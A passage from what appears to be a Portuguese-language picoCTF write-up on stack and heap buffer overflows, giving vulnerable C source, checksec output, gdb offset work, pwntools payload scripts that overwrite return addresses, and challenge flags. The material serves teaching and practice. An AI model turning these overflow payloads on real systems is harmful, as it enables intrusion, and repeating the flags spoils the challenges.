Okay, time to return... Fingers Crossed... Jumping to 0x6161616c. O endereço de retorno impresso aqui é 0x6161616c.\nPodemos confirmar isso olhando para a pilha. Temos: 0xffffd14c│+0x0000: \u0026quot;laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxa[...]\u0026quot; no topo.\nOs primeiros 4 caracteres são laaa, que em hexadecimal é igual a 0x6161616c. Este é o endereço de retorno sendo usado pela função. Isso significa que podemos simplesmente mudar o laaa em nossa entrada para o endereço de retorno que desejamos (no caso, a função win, para que possamos obter a flag).\nComo não temos PIE, podemos simplesmente usar diretamente o endereço da função win, que é 0x080491f6 (você pode obtê-lo usando o comando disas win no gdb ou colocando o programa em um descompilador como Ghidra).\nJuntando tudo isso, aqui está minha solução usando pwntools:\n1 2 3 4 5 6 7 8 context(arch = \u0026#39;i386\u0026#39;, os = \u0026#39;linux\u0026#39;) r = remote(saturn.picoctf.net, 64507) payload = b\u0026#39;aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaa\u0026#39; payload += int.to_bytes(0x080491f6, 4, \u0026#39;little\u0026#39;) r.sendline(payload) r.recvline() r.recvline() r.interactive() buffer overflow 2 Aqui está o código-fonte:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; #define BUFSIZE 100 #define FLAGSIZE 64 void win(unsigned int arg1, unsigned int arg2) { char buf[FLAGSIZE]; FILE *f = fopen(\u0026#34;flag.txt\u0026#34;,\u0026#34;r\u0026#34;); if (f == NULL) { printf(\u0026#34;%s %s\u0026#34;, \u0026#34;Please create \u0026#39;flag.txt\u0026#39; in this directory with your\u0026#34;, \u0026#34;own debugging flag.\\n\u0026#34;); exit(0); } fgets(buf,FLAGSIZE,f); if (arg1 != 0xCAFEF00D) return; if (arg2 != 0xF00DF00D) return; printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts(\u0026#34;Please enter your string: \u0026#34;); vuln(); return 0; } E aqui está o resultado do checksec:\n1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Também temos uma função gets neste desafio. Comecei executando o gdb e usando o comando pattern create -n 4. Coloquei um ponto de interrupção na instrução ret da função vuln e forneci a entrada com o padrão gerado. Esta é uma captura de tela da minha instância do gdb:\nUsei pattern offset daabeaa para encontrar em qual posição estou sobrescrevendo o endereço de retorno.\nIsso significa que precisamos escrever 112 bytes de alguma coisa para chegar até o endereço de retorno. Eu sobrescrevi ele com o endereço da função win (Não temos PIE, então podemos pegar o endereço exatamente como ele é e fica tudo certo).\nDepois de sobrescrever o endereço de retorno, também precisamos lidar com os argumentos da função. Se apenas escrevermos eles após o endereço de retorno, quando fizermos a comparação:\n1 2 3 4 if (arg1 != 0xCAFEF00D) return; if (arg2 != 0xF00DF00D) return; Isso aqui vai acontecer:\nPerceba como DWORD PTR [ebp+0x8] contém 0xf00df00d ao invés de 0xcafef00d. Podemos resolver isso de forma simples ao adicionar 4 bytes extras logo antes do primeiro argumento para que tudo fique alinhado.\nAté o momento nós temos: 112 bytes + return address + 4 bytes de padding + primeiro argumento da função + segundo argumento da função\nResolvi desse jeito aqui:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * context(arch = \u0026#34;i386\u0026#34;, os=\u0026#34;linux\u0026#34;, endian=\u0026#34;little\u0026#34;) p = remote(\u0026#34;saturn.picoctf.net\u0026#34;, 58084) payload = b\u0026#39;A\u0026#39; * 112 payload += p32(0x08049296) payload += p32(0) payload += p32(0xcafef00d) payload += p32(0xf00df00d) p.sendline(payload) p.interactive() x sixty what Esse challenge é similar aos anteriores. A principal diferença é que agora nós temos um arquivo de 64 bits. Aqui está o source code:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; #define BUFFSIZE 64 #define FLAGSIZE 64 void flag() { char buf[FLAGSIZE]; FILE *f = fopen(\u0026#34;flag.txt\u0026#34;,\u0026#34;r\u0026#34;); if (f == NULL) { printf(\u0026#34;%s %s\u0026#34;, \u0026#34;Please create \u0026#39;flag.txt\u0026#39; in this directory with your\u0026#34;, \u0026#34;own debugging flag.\\n\u0026#34;); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFFSIZE]; gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts(\u0026#34;Welcome to 64-bit. Give me a string that gets you the flag: \u0026#34;); vuln(); return 0; } E aqui está o resultado do checksec:\n1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) A função vuln usa gets para escrever no buffer de tamanho 64. Como o binário não usa PIE, podemos simplesmente sobrescrever o endereço de retorno com o endereço da função flag conforme vemos no binário.\nNosso payload precisa de 64 bytes para preencher o buffer + 8 bytes para escrever no rbp + o endereço de retorno que queremos sobrescrever.\nAqui está o meu solve usando o pwntools:\n1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * context(arch = \u0026#34;amd64\u0026#34;, os=\u0026#34;linux\u0026#34;, endian=\u0026#34;little\u0026#34;) p = remote(\u0026#34;saturn.picoctf.net\u0026#34;, 63716) payload = b\u0026#39;A\u0026#39; * 72 payload += p64(0x000000000040123b) p.sendline(payload) p.recvline() p.interactive() Que nos dá a flag: picoCTF{b1663r_15_b3773r_d95e02b6}\nLocal Target Aqui está o source code:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; int main(){ FILE *fptr; char c; char input[16]; int num = 64; printf(\u0026#34;Enter a string: \u0026#34;); fflush(stdout); gets(input); printf(\u0026#34;\\n\u0026#34;); printf(\u0026#34;num is %d\\n\u0026#34;, num); fflush(stdout); if( num == 65 ){ printf(\u0026#34;You win!\\n\u0026#34;); fflush(stdout); // Open file fptr = fopen(\u0026#34;flag.txt\u0026#34;, \u0026#34;r\u0026#34;); if (fptr == NULL) { printf(\u0026#34;Cannot open file.\\n\u0026#34;); fflush(stdout); exit(0); } // Read contents from file c = fgetc(fptr); while (c != EOF) { printf (\u0026#34;%c\u0026#34;, c); c = fgetc(fptr); } fflush(stdout); printf(\u0026#34;\\n\u0026#34;); fflush(stdout); fclose(fptr); exit(0); } printf(\u0026#34;Bye!\\n\u0026#34;); fflush(stdout); } E aqui está o checksec:\n1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Inspecionando o código fonte, precisamos acionar esta condição: if( num == 65 ). Mas num é declarado como 64 logo após nossa variável input. Felizmente, há uma função gets que escreve em input. Podemos usá-la para causar um buffer overflow e sobrescrever num, que é uma variável local e, portanto, armazenada na pilha.\nPrecisamos fornecer uma entrada que sobrescreva nosso buffer de caracteres, sobreponha o espaço entre o buffer e a variável num, e então sobrescreva a própria variável num. Como queremos que num seja 65, podemos simplesmente escrever o caractere A nele, já que o valor ASCII de A é 65.\nAqui está o meu solve:\n1 2 3 4 5 6 nc saturn.picoctf.net 56776 Enter a string: AAAAAAAAAAAAAAAABBBBBBBBA num is 65 You win! picoCTF{l0c4l5_1n_5c0p3_ee58441a} flag: picoCTF{l0c4l5_1n_5c0p3_ee58441a}\nclutter overflow Aqui o source code:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #define SIZE 0x100 #define GOAL 0xdeadbeef const char* HEADER = \u0026#34; ______________________________________________________________________\\n\u0026#34; \u0026#34;|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\\n\u0026#34; \u0026#34;| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\\n\u0026#34; \u0026#34;|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\\n\u0026#34; \u0026#34;| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \\\\^ ^ |\\n\u0026#34; \u0026#34;|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \\\\ ^ _ ^ / | | \\\\^ ^|\\n\u0026#34; \u0026#34;| ^/_\\\\^ ^ ^ /_________\\\\^ ^ ^ /_\\\\ | // | /_\\\\ ^| | ____ ____ | | ^ |\\n\u0026#34; \u0026#34;|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|\\n\u0026#34; \u0026#34;| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\\\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\\n\u0026#34; \u0026#34;|^ ^ ^ ^ ^| / ( \\\\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \\\\|^ ^|\\n\u0026#34; \u0026#34;.-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |\\n\u0026#34; \u0026#34;| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\\\\ |^ ^|\\n\u0026#34; \u0026#34;| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\\n\u0026#34; \u0026#34;|\u0026#39;.____\u0026#39;_^||/!\\\\@@@@@/!\\\\|| _\u0026#39;______________.\u0026#39;|== =====\\n\u0026#34; \u0026#34;|\\\\|______|===============|________________|/|\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\n\u0026#34; \u0026#34;\\\u0026#34; ||\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;||\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;||\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;||\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34; \\n\u0026#34; \u0026#34;\\\u0026#34;\\\u0026#34;\u0026#39;\u0026#39;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\u0026#39;\u0026#39;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\u0026#39;\u0026#39;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\u0026#39;\u0026#39;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\n\u0026#34; \u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\n\u0026#34; \u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\\\u0026#34;\u0026#34;; int main(void) { long code = 0; char clutter[SIZE]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts(HEADER); puts(\u0026#34;My room is so cluttered...\u0026#34;); puts(\u0026#34;What do you see?\u0026#34;); gets(clutter); if (code == GOAL) { printf(\u0026#34;code == 0x%llx: how did that happen??\\n\u0026#34;, GOAL); puts(\u0026#34;take a flag for your troubles\u0026#34;); system(\u0026#34;cat flag.txt\u0026#34;); } else { printf(\u0026#34;code == 0x%llx\\n\u0026#34;, code); printf(\u0026#34;code != 0x%llx :(\\n\u0026#34;, GOAL); } return 0; } E aqui o checksec:\n1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Como podemos ver no código fonte, clutter é um buffer de caracteres com tamanho 0x100. Precisamos sobrescrever a variável long code com o valor 0xdeadbeef para imprimir a flag.\nComo é uma variável local, long code provavelmente estará na pilha. Vamos inserir um breakpoint logo antes da função gets e dar uma olhada na pilha nesse momento:\n0x7fffffffdff0 é o endereço no registro rbp. Se olharmos para o valor imediatamente antes disso, há uma série de 0\u0026rsquo;s, que provavelmente são a variável code. Eles estão no endereço 0x7fffffffdfe8. Fazendo uma simples matemática com o endereço do topo da pilha e o endereço da variável, obtemos: 0x7fffffffdfe8 - 0x7fffffffdee0 = 264. Portanto, precisamos fornecer uma entrada de 264 caracteres + 0xdeadbeef para sobrescrever precisamente a variável code com o GOAL.\nAqui o meu solve:\n1 2 3 4 5 6 7 8 9 from pwn import * p = remote(\u0026#34;mars.picoctf.net\u0026#34;, 31890) payload = b\u0026#39;A\u0026#39; * 264 payload += p64(0xdeadbeef) p.sendline(payload) p.interactive() RPS Esse é um chall simples em que você só precisa ler o source code e ver o que está errado. Aqui está ele:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdbool.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;time.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;sys/time.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; #define WAIT 60 static const char* flag = \u0026#34;[REDACTED]\u0026#34;; char* hands[3] = {\u0026#34;rock\u0026#34;, \u0026#34;paper\u0026#34;, \u0026#34;scissors\u0026#34;}; char* loses[3] = {\u0026#34;paper\u0026#34;, \u0026#34;scissors\u0026#34;, \u0026#34;rock\u0026#34;}; int wins = 0; int tgetinput(char *input, unsigned int l) { fd_set input_set; struct timeval timeout; int ready_for_reading = 0; int read_bytes = 0; if( l \u0026lt;= 0 ) { printf(\u0026#34;\u0026#39;l\u0026#39; for tgetinput must be greater than 0\\n\u0026#34;); return -2; } /* Empty the FD Set */ FD_ZERO(\u0026amp;input_set ); /* Listen to the input descriptor */ FD_SET(STDIN_FILENO, \u0026amp;input_set); /* Waiting for some seconds */ timeout.tv_sec = WAIT; // WAIT seconds timeout.tv_usec = 0; // 0 milliseconds /* Listening for input stream for any activity */ ready_for_reading = select(1, \u0026amp;input_set, NULL, NULL, \u0026amp;timeout); /* Here, first parameter is number of FDs in the set, * second is our FD set for reading, * third is the FD set in which any write activity needs to updated, * which is not required in this case. * Fourth is timeout */ if (ready_for_reading == -1) { /* Some error has occured in input */ printf(\u0026#34;Unable to read your input\\n\u0026#34;); return -1; } if (ready_for_reading) { read_bytes = read(0, input, l-1); if(input[read_bytes-1]==\u0026#39;\\n\u0026#39;){ --read_bytes; input[read_bytes]=\u0026#39;\\0\u0026#39;; } if(read_bytes==0){ printf(\u0026#34;No data given.\\n\u0026#34;); return -4; } else { return 0; } } else { printf(\u0026#34;Timed out waiting for user input. Press Ctrl-C to disconnect\\n\u0026#34;); return -3; } return 0; } bool play () { char player_turn[100]; srand(time(0)); int r; printf(\u0026#34;Please make your selection (rock/paper/scissors):\\n\u0026#34;); r = tgetinput(player_turn, 100); // Timeout on user input if(r == -3) { printf(\u0026#34;Goodbye!\\n\u0026#34;); exit(0); } int computer_turn = rand() % 3; printf(\u0026#34;You played: %s\\n\u0026#34;, player_turn); printf(\u0026#34;The computer played: %s\\n\u0026#34;, hands[computer_turn]); if (strstr(player_turn, loses[computer_turn])) { puts(\u0026#34;You win! Play again?\u0026#34;); return true; } else { puts(\u0026#34;Seems like you didn\u0026#39;t win this time. Play again?\u0026#34;); return false; } } int main () { char input[3] = {\u0026#39;\\0\u0026#39;}; int command; int r; puts(\u0026#34;Welcome challenger to the game of Rock, Paper, Scissors\u0026#34;); puts(\u0026#34;For anyone that beats me 5 times in a row, I will offer up a flag I found\u0026#34;); puts(\u0026#34;Are you ready?\u0026#34;); while (true) { puts(\u0026#34;Type \u0026#39;1\u0026#39; to play a game\u0026#34;); puts(\u0026#34;Type \u0026#39;2\u0026#39; to exit the program\u0026#34;); r = tgetinput(input, 3); // Timeout on user input if(r == -3) { printf(\u0026#34;Goodbye!\\n\u0026#34;); exit(0); } if ((command = strtol(input, NULL, 10)) == 0) { puts(\u0026#34;Please put in a valid number\u0026#34;); } else if (command == 1) { printf(\u0026#34;\\n\\n\u0026#34;); if (play()) { wins++; } else { wins = 0; } if (wins \u0026gt;= 5) { puts(\u0026#34;Congrats, here\u0026#39;s the flag!\u0026#34;); puts(flag); } } else if (command == 2) { return 0; } else { puts(\u0026#34;Please type either 1 or 2\u0026#34;); } } return 0; } Precisamos vencer 5 vezes consecutivas para obter a flag. Para verificar se sua jogada vence contra a jogada do computador, o programa faz uma strstr(player_turn, loses[computer_turn]). Ele verifica se sua entrada de string contém a string da jogada que ganha.\nSe fornecermos uma entrada de rockpaperscissors, essa verificação sempre será verdadeira, já que temos todas as possibilidades no array loses. Resolvi isso manualmente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 nc saturn.picoctf.net 50553 Welcome challenger to the game of Rock, Paper, Scissors For anyone that beats me 5 times in a row, I will offer up a flag I found Are you ready? Type \u0026#39;1\u0026#39; to play a game Type \u0026#39;2\u0026#39; to exit the program 1 Please make your selection (rock/paper/scissors): rockpaperscissors You played: rockpaperscissors The computer played: rock You win! Play again? Type \u0026#39;1\u0026#39; to play a game Type \u0026#39;2\u0026#39; to exit the program 1 Please make your selection (rock/paper/scissors): rockpaperscissors You played: rockpaperscissors The computer played: scissors You win! Play again? Type \u0026#39;1\u0026#39; to play a game Type \u0026#39;2\u0026#39; to exit the program 1 Please make your selection (rock/paper/scissors): rockpaperscissors You played: rockpaperscissors The computer played: paper You win! Play again? Type \u0026#39;1\u0026#39; to play a game Type \u0026#39;2\u0026#39; to exit the program 1 Please make your selection (rock/paper/scissors): rockpaperscissors You played: rockpaperscissors The computer played: scissors You win! Play again? Type \u0026#39;1\u0026#39; to play a game Type \u0026#39;2\u0026#39; to exit the program 1 Please make your selection (rock/paper/scissors): rockpaperscissors You played: rockpaperscissors The computer played: rock You win! Play again? Congrats, here\u0026#39;s the flag! picoCTF{50M3_3X7R3M3_1UCK_58F0F41B} Type \u0026#39;1\u0026#39; to play a game Type \u0026#39;2\u0026#39; to exit the program 2 Ncat: Broken pipe. Podemos ver a flag após 5 vitórias:\nflag: picoCTF{50M3_3X7R3M3_1UCK_58F0F41B}\nheap 0 Aqui o source code:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #define FLAGSIZE_MAX 64 // amount of memory allocated for input_data #define INPUT_DATA_SIZE 5 // amount of memory allocated for safe_var #define SAFE_VAR_SIZE 5 int num_allocs; char *safe_var; char *input_data; void check_win() { if (strcmp(safe_var, \u0026#34;bico\u0026#34;) != 0) { printf(\u0026#34;\\nYOU WIN\\n\u0026#34;); // Print flag char buf[FLAGSIZE_MAX]; FILE *fd = fopen(\u0026#34;flag.txt\u0026#34;, \u0026#34;r\u0026#34;); fgets(buf, FLAGSIZE_MAX, fd); printf(\u0026#34;%s\\n\u0026#34;, buf); fflush(stdout); exit(0); } else { printf(\u0026#34;Looks like everything is still secure!\\n\u0026#34;); printf(\u0026#34;\\nNo flage for you :(\\n\u0026#34;); fflush(stdout); } } void print_menu() { printf(\u0026#34;\\n1. Print Heap:\\t\\t(print the current state of the heap)\u0026#34; \u0026#34;\\n2. Write to buffer:\\t(write to your own personal block of data \u0026#34; \u0026#34;on the heap)\u0026#34; \u0026#34;\\n3. Print safe_var:\\t(I\u0026#39;ll even let you look at my variable on \u0026#34; \u0026#34;the heap, \u0026#34; \u0026#34;I\u0026#39;m confident it can\u0026#39;t be modified)\u0026#34; \u0026#34;\\n4. Print Flag:\\t\\t(Try to print the flag, good luck)\u0026#34; \u0026#34;\\n5. Exit\\n\\nEnter your choice: \u0026#34;); fflush(stdout); } void init() { printf(\u0026#34;\\nWelcome to heap0!\\n\u0026#34;); printf( \u0026#34;I put my data on the heap so it should be safe from any tampering.\\n\u0026#34;); printf(\u0026#34;Since my data isn\u0026#39;t on the stack I\u0026#39;ll even let you write whatever \u0026#34; \u0026#34;info you want to the heap, I already took care of using malloc for \u0026#34; \u0026#34;you.\\n\\n\u0026#34;); fflush(stdout); input_data = malloc(INPUT_DATA_SIZE); strncpy(input_data, \u0026#34;pico\u0026#34;, INPUT_DATA_SIZE); safe_var = malloc(SAFE_VAR_SIZE); strncpy(safe_var, \u0026#34;bico\u0026#34;, SAFE_VAR_SIZE); } void write_buffer() { printf(\u0026#34;Data for buffer: \u0026#34;); fflush(stdout); scanf(\u0026#34;%s\u0026#34;, input_data); } void print_heap() { printf(\u0026#34;Heap State:\\n\u0026#34;); printf(\u0026#34;+-------------+----------------+\\n\u0026#34;); printf(\u0026#34;[*] Address -\u0026gt; Heap Data \\n\u0026#34;); printf(\u0026#34;+-------------+----------------+\\n\u0026#34;); printf(\u0026#34;[*] %p -\u0026gt; %s\\n\u0026#34;, input_data, input_data); printf(\u0026#34;+-------------+----------------+\\n\u0026#34;); printf(\u0026#34;[*] %p -\u0026gt; %s\\n\u0026#34;, safe_var, safe_var); printf(\u0026#34;+-------------+----------------+\\n\u0026#34;); fflush(stdout); } int main(void) { // Setup init(); print_heap(); int choice; while (1) { print_menu(); int rval = scanf(\u0026#34;%d\u0026#34;, \u0026amp;choice); if (rval == EOF){ exit(0); } if (rval != 1) { //printf(\u0026#34;Invalid input. Please enter a valid choice.\\n\u0026#34;); //fflush(stdout); // Clear input buffer //while (getchar() != \u0026#39;\\n\u0026#39;); //continue; exit(0); } switch (choice) { case 1: // print heap print_heap(); break; case 2: write_buffer(); break; case 3: // print safe_var printf(\u0026#34;\\n\\nTake a look at my variable: safe_var = %s\\n\\n\u0026#34;, safe_var); fflush(stdout); break; case 4: // Check for win condition check_win(); break; case 5: // exit return 0; default: printf(\u0026#34;Invalid choice\\n\u0026#34;); fflush(stdout); } } } E aqui o checksec:\n1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Para vencer, precisamos fazer com que a comparação if (strcmp(safe_var, \u0026quot;bico\u0026quot;) != 0) funcione. Isso significa que safe_var precisa ser diferente de \u0026quot;bico\u0026quot;.\nsafe_var é definido globalmente, mas o usamos na função init() para torná-lo uma string com \u0026quot;bico\u0026quot;:\n1 2 safe_var = malloc(SAFE_VAR_SIZE); strncpy(safe_var, \u0026#34;bico\u0026#34;, SAFE_VAR_SIZE); Quando usamos a função write_buffer(), fazemos um scanf de uma string e a inserimos na variável input_data. Se você prestar atenção, input_data e safe_var são alocados com malloc uma após a outra, o que significa que provavelmente também estão localizados sequencialmente (ou bem próximos um do outro) na memória. O print_heap() confirma isso quando o executamos:\n1 2 3 4 5 6 7 8 Heap State: +-------------+----------------+ [*] Address -\u0026gt; Heap Data +-------------+----------------+ [*] 0x55bc1d8756b0 -\u0026gt; pico +-------------+----------------+ [*] 0x55bc1d8756d0 -\u0026gt; bico +-------------+----------------+ pico está no endereço 0x557a2f2bd6b0 e bico está no endereço 0x557a2f2bd6d0. Isso é uma distância de 32 bytes. Se escrevermos em input_data com 32 bytes + algo mais, 